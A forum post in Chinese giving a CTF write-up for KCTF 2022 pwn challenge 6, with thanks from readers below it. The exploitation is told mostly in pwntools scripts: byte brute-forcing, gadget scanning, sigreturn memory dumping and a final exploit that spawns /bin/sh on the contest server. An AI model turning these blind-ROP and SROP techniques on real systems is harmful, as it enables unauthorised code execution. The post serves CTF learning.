吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7060|回复: 48
收起左侧

[CTF] KCTF2022春季赛 第六题 writeup

  [复制链接]
xia0ji233 发表于 2022-5-23 17:34

KCTF2022春季赛 第六题 writeup

<!--more-->

这题,BROP提示给的很明显,所以就是盲打,不管怎么说先问(bao)候(da)一下出题人。

首先我们一开始什么都不知道,就先确定一下一些基本信息,那么就先测试一下缓冲区的长度,最后发现缓冲区长度为0x10。

我们先执行一遍正常流程,大概就是:

  1. 输出一句话
  2. 输入
  3. 输出一句话

当存在栈溢出的时候,最后一句话输出不出来,因此可以断定,溢出是发生在自己定义的函数的。大概写一下伪代码:

#include<stdio.h>
void func(){
    char buf[16];
    gets(buf);
}
int main(){
    puts("hacker, TNT!");
    func();
    puts("TNT TNT!");
}

当然,输出第一句话的语句可能也在 func 里面,但是不影响,我们先爆破第一个字节

from pwn import  *
#context.log_level='debug'
for i in range(0,256):
    try:
        p=remote(host='221.228.109.254',port=10100)
        s=p.recvline()
        payload=b'a'*0x10+p8(i)
        print(payload)
        p.send(payload)
        ss=(p.recvline(timeout=1))
        print(ss)
        p.close()
    except:
        p.close()
        continue

1

2

可以发现,当覆盖一个 \xb0 字节的时候,程序重新执行了一遍 main 函数,当覆盖一个 \xce 字节的时候,程序执行正常流程退出了,那么我们可以得出以下信息:

  • main 函数的低位为 0xb0
  • func 函数的返回地址为 0xce

这里其实可以确定输出第一句话的函数在 main 当中了,因为如果在 func 函数当中,那么一定会存在两个地址使得程序重新执行一遍流程,那就是改成了 func 函数和 main 函数的地址都会这样,没有就说明第一句话输出不在 main 当中。

然后再勇敢地一试,猜测它的地址为 0x4000b0,结果发现也是重新执行了 main 函数,这也间接断定了这个程序是 64 位的。上面推出的两个地址也确定了。

接下来,就可以尝试取寻找 gadget 了,我们要寻找的首要 gadget 自然就是 pop rdi ret 了。

from pwn import  *
#context.log_level='debug'
main=0x4000b0
ret=0x4000ce
for i in range(0x400000,0x401900):
    try:
        while True:
            try:
                p=remote(host='221.228.109.254',port=10100)
                break
            except:
                continue
        s=p.recvline()
        payload=b'a'*0x10+p64(i)+p64(ret)+p64(main)
        print(payload)
        p.send(payload)
        ss=(p.recvline(timeout=1))
        print(ss)
        p.close()
    except:
        p.close()
        continue

在这个 payload 当中,可以发现,如果寻找的 gadgetret,那么则会继续流程,如果 gadget 类似于 pop xxx ret 的话则会重新执行 main 函数。结果 ret 找到了很多,其它的 gadget 愣是没找到一个,于是决定往后面再加一个 p64(main),结果居然找到了七个地址:

a0x4000f5 pop xxx *2;ret
0x4000fa pop xxx *2;ret
0x4000fb pop xxx *2;ret
0x4000fd pop xxx *2;ret
0x4000fe pop xxx *2;ret
0x400100 pop xxx *2;ret
0x400101 ret
0x400102 pop xxx *2 ; ret
0x400106 ret

然后我尝试取寻找它的 IO 函数去输出它的 got 表,但是测了很多地址都没有发现有输出 \n 字节,这里也排除它用 puts 函数输出的可能,但是它可能也用了 printf 或者是 write 函数之类的,但是我还是往 printf 去想而没有往 write 去想。然后我就拿那些 gadget 试着传参看看,结果不出意外都失败了,无任何回显。

这里我困扰了很久,后来我们队的 ThTsOd 师傅给了我一个很重要的思路,那就是

3

再来看看精致得分的规则:

4

直接拉满了那就很能说明问题了,肯定是甚至没有 plt 或者 got 表的那种文件,直接用的 syscall 才能有这么小的长度。

这里借用以下 ThTsOd 师傅的脚本,帮我们确定了一些 syscall 的位置。

from pwn import  *
context.log_level='warn'
main=0x4000b5
ret=0x400101
pop_rdi = 0x400101 - 1
pop_rsi_2 = 0x400101 - 3

'''
0x4000b0 0 b'hacker, TNT!\n'
0x4000ce 0 b'TNT TNT!\n'

INPUT
0x4000b5 0 b'TNT TNT!\n'
0x4000b6 0 b'TNT TNT!\n'
0x4000b8 0 b'TNT TNT!\n'
0x4000c2 0 b'TNT TNT!\n'
0x4000c7 0 b'TNT TNT!\n'
0x4000c9 0 b'TNT TNT!\n'

rdi 1
rsi str
rdx len

'''
for k in range(1):
    for i in range(0x400000,0x400120):
        try:
            while True:
                try:
                    p=remote(host='221.228.109.254',port=10005)
                    break
                except:
                    continue
            s=p.recv()
            payload=b'a'*0x10+p64(i)+p64(pop_rdi)*3+p64(1)+p64(pop_rsi_2)+p64(0x400000)*2+p64(0x4000ce)
            #payload=b'a'*0x10+
            #print(payload)
            p.send(payload)
            p.send('B')
            ss=(p.recvall(timeout=1))
            print(hex(i),k,ss)
            #if ss==s:
            #    break
            p.close()
        except:
            #sleep(2)
            p.close()
            continue

#p.interactive()

'''
41 5c 41 5d 41 5e 41 5f c3
rdi 1
rsi str
rdx len

101 RET
102 POP
106 RET
'''

在这个脚本中,我们通过修改 rax 的值成功调用sys_read dump 出了栈上面的内存。

5

由此我们确定了 syscall retgadget0x4000ec 的地方。但是还需要有一个固定能 readgadget 才行,因为只有这样我们才能控制 rax 寄存器的值,来选择我们需要的系统调用。

当然我们也找到了,在0x4000f3,并且发现需要传两个参数才能把 rop 链拼接上去,感觉这里两个参数应该是 add rsp,0x10 产生的。

那也不用管那么多了,通过这两个 gadget 我们就能进行一次指定的系统调用,这里我们不选择使用 write 调用泄露栈的内存,我们直接把 elf 的内存给 dump 出来就行,因为没有 gadget 那我们直接用 sigreturn 的方式控制寄存器。

from pwn import  *
context.log_level='debug'
context.arch='amd64'
main=0x4000b5
ret=0x400101
pop_rdi = 0x400101 - 1
pop_rsi_2 = 0x400101 - 3
syscall=0x4000ec
sysread=0x4000f3
'''
0x4000b0 0 b'hacker, TNT!\n'
0x4000ce 0 b'TNT TNT!\n'

INPUT
0x4000b5 0 b'TNT TNT!\n'
0x4000b6 0 b'TNT TNT!\n'
0x4000b8 0 b'TNT TNT!\n'
0x4000c2 0 b'TNT TNT!\n'
0x4000c7 0 b'TNT TNT!\n'
0x4000c9 0 b'TNT TNT!\n'

rdi 1
rsi str
rdx len

'''
for k in range(1):
    for i in range(0x4000f3,0x4000f4):
        try:
            while True:
                try:
                    p=remote(host='221.228.109.254',port=10088)
                    break
                except:
                    continue
            s=p.recv()
            rop=SigreturnFrame()
            rop.rax=1
            rop.rdi=1
            rop.rip=syscall            
            rop.rsp=0x400000
            rop.rbp=0x400000
            rop.rsi=0x400000
            rop.rdx=0x400

            payload=b'a'*0x10+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop))
            p.send(payload)
            p.send('B'*15)
            p.interactive()        
        except:
            #sleep(2)
            p.close()
            continue

#p.interactive()

'''
41 5c 41 5d 41 5e 41 5f c3
rdi 1
rsi str
rdx len

101 RET
102 POP
106 RET
'''

6

可以看到我们就成功用 sigreturn 调用了 sys_write(1,0x400000,0x400) ,至此终于不是瞎子视角了,这里再是 ThTsOd 师傅帮我重建了 ELF 文件,IDA 一开

7

其实现在 IDA 已经不重要了,主要还是能本地调试就非常爽。

但是这里又卡了一个关,那就是找不到确定地址可写的地方写上 /bin/sh。这里又双叒叕是 ThTsOd 师傅向我指明了 0x600000 处的内存是可读可写的。

8

打开一看果然是这样,而且给的内存还挺多,那就爽了,直接先调用 sys_read 再上面写上 /bin/sh 顺便接上 rop 链,然后再一次 sigreturn 执行 execve('/bin/sh',0,0)  去获得 shell

最终 exp

from pwn import *
context.log_level='debug'
context.arch='amd64'
main=0x4000b5
ret=0x400101
syscall=0x4000ec
sysread=0x4000f3
#p=process('./pwn')
p=remote(host='221.228.109.254',port=10100)
s=p.recv()
rop=SigreturnFrame()
rop.rax=0
rop.rdi=0
rop.rip=syscall            
rop.rsp=0x600020
rop.rbp=0x600020
rop.rsi=0x600000
rop.rdx=0x400
payload=b'a'*0x10+p64(syscall)+p64(syscall)+eval(str(rop))
p.send(payload)
#sleep(1)
#gdb.attach(p)
p.send(b'a'*15)
rop.rax=59
rop.rip=syscall
rop.rdi=0x600000
rop.rdx=0
rop.rsi=0
sleep(1)
p.send(b'/bin/sh\0'+p64(sysread)+p64(0)*2+p64(syscall)+eval(str(rop)))
sleep(1)
p.send(b'a'*15)

p.interactive()

这题后面不难,主要是想办法 dump 内存重建 elf,然后就是签到的做法了。

免费评分

参与人数 19吾爱币 +35 热心值 +19 收起 理由
XIAOHUANGDI520 + 1 + 1 膜拜大佬
mymoyi + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
CrazyNut + 3 + 1 用心讨论,共获提升!
victos + 1 + 1 谢谢@Thanks!
jackies + 1 + 1 热心回复!
chenkeai深蓝 + 1 谢谢@Thanks!
tracyshenzl + 1 + 1 热心回复!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
yxpp + 1 + 1 谢谢@Thanks!
technogoon + 1 + 1 热心回复!
gaosld + 1 + 1 谢谢@Thanks!
poisonbcat + 1 + 1 谢谢@Thanks!
zy870527 + 1 + 1 谢谢@Thanks!
贪恋毅世的浮华 + 1 + 1 我很赞同!
1MajorTom1 + 1 我很赞同!
xyl52p + 1 + 1 用心讨论,共获提升!
Sound + 16 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
kkavifo + 1 + 1 谢谢@Thanks!
努力加载中 + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

shwgij 发表于 2022-5-23 17:49
用心了  感谢!!!!!!
kds0221 发表于 2022-5-23 17:50
yee1128 发表于 2022-5-23 18:11
ZhuanZhuYuIT 发表于 2022-5-23 18:27
膜拜大佬
yiwozhutou 发表于 2022-5-24 07:44
大家好 我是小菜 看大佬 默默地心里恨自己 一定不看那些 床外事了 难受啊
52896009 发表于 2022-5-24 08:09

膜拜大佬
kkavifo 发表于 2022-5-24 08:25
膜拜大佬
iloveasdl 发表于 2022-5-24 08:41
学习了!
LeaderSuc 发表于 2022-5-24 14:44
感觉学习的路子还有很长!
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-19 21:08

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表